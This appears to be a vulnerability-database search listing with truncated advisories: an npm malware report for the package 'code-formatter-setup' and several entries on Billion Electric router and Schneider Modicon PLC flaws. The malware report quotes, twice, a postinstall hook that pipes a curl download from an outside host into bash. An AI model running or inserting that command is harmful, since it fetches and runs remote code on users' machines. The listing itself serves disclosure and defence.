MAL-2026-10682 Malicious code in code-formatter-setup (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...

Malicious code in code-formatter-setup (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...

EUVD-2019-16374

Malware in sbrugna...

PT-2025-6145

Name of the Vulnerable Software and Affected Versions: Billion Electric routers affected versions not specified Billion Electric M100 version 1.04.1.159. Billion Electric M150 no specific version mentioned Billion Electric M120N no specific version mentioned Billion Electric M500 no specific...

Billion M100 SSH Command Execution

The vulnerability of the SSH network protocol implementation in the microprogramming-based software for industrial routers such as Billion M100, Billion M150, Billion M120N, and Billion M500 is related to the lack of measures to neutralize special elements used in operating system commands...

Billion M100/M150/M120N/M500 Password Storage Issue

The vulnerability of the microprogrammed software of industrial routers Billion M100, Billion M150, Billion M120N, and Billion M500 is related to the storage of passwords in an open manner. Exploiting this vulnerability can allow a malicious actor, operating remotely, to gain unauthorized access ...

Billion Electric’s various products have security vulnerabilities

Billion Electric M100 and others are a wireless router from China-based Shengda Electric Billion Electric. A security vulnerability exists in various Billion Electric products, which stems from storing passwords in plaintext, allowing a remote attacker with administrator privileges to access the...

PT-2024-8936

Name of the Vulnerable Software and Affected Versions: Billion Electric routers affected versions not specified Billion M100 affected versions not specified Billion M150 affected versions not specified Billion M120N affected versions not specified Billion M500 affected versions not specified...

Billion Electric’s various products have security vulnerabilities

Billion Electric M100 and others are a wireless router from China-based Shengda Electric Billion Electric. A security vulnerability exists in various Billion Electric products that stems from an authentication bypass that could allow an unauthenticated attacker to retrieve the content of arbitrar...

Billion Electric’s various products have security vulnerabilities

Billion Electric M100 and others are a wireless router from China-based Shengda Electric Billion Electric. A security vulnerability exists in various Billion Electric products that stems from the presence of operating system command injection, which allows a remote attacker with administrator...

Schneider Electric PLC Information Disclosure

The vulnerability of the microprogrammed software of Schneider Electric’s Modicon M221, M100, and M200 programmable logic controllers is related to the disclosure of information. Exploiting this vulnerability can allow an intruder operating remotely to gain unauthorized access to protected...

Schneider Electric PLC Encryption Key Disclosure

The vulnerability of the microprogrammed logic controllers from Schneider Electric, such as Modicon M221, M100, and M200, is related to the lack of encryption measures for protected data. Exploiting this vulnerability can allow a remote attacker to obtain the encryption key...

Schneider Electric PLC Random Values Brute Force

The vulnerability of the microprogrammed logic controllers from Schneider Electric, such as Modicon M221, M100, and M200, is related to the small number of possible random values. Exploiting this vulnerability can allow a malicious actor to bypass existing security restrictions by using brute-for...

PT-2020-6349

Name of the Vulnerable Software and Affected Versions Modicon M221 all references, all versions Modicon M100 affected versions not specified Modicon M200 affected versions not specified Description A vulnerability exists due to a small space of random values, which could allow an attacker to brea...

PT-2020-6350

Name of the Vulnerable Software and Affected Versions Modicon M221 all references, all versions Modicon M100 affected versions not specified Modicon M200 affected versions not specified Description A Missing Encryption of Sensitive Data issue exists that could allow an attacker to find the passwo...

PT-2020-6369

Name of the Vulnerable Software and Affected Versions Modicon M221 versions all Modicon M100 affected versions not specified Modicon M200 affected versions not specified Description The issue is related to the exposure of sensitive information. It could allow a remote attacker to gain unauthorize...

Authentication flaw

A CWE-306: Missing Authentication for Critical Function vulnerability exists which could cause a modification of device IP configuration IP address, network mask and gateway IP address when a specific Ethernet frame is received in all versions of: Modicon M100, Modicon M200, Modicon M221, ATV IMC...

CVE-2019-6820

A CWE-306: Missing Authentication for Critical Function vulnerability exists which could cause a modification of device IP configuration IP address, network mask and gateway IP address when a specific Ethernet frame is received in all versions of: Modicon M100, Modicon M200, Modicon M221, ATV IMC...

CVE-2019-6820

CVE-2019-6820 describes a CWE-306 vulnerability (Missing Authentication for a Critical Function) that could allow modification of device IP configuration (IP address, netmask, gateway) when a specific Ethernet frame is received on multiple Schneider Electric Modicon/drive products. Affected produ...

Access Control Error Vulnerability in Multiple Schneider Electric Products

Schneider Electric Modicon M100 is a programmable logic controller, Schneider Electric Modicon LMC078 is a motion controller, and Schneider Electric ATV IMC drive controller is a drive controller. Schneider Electric Modicon M100 is a programmable logic controller.Schneider Electric Modicon LMC078...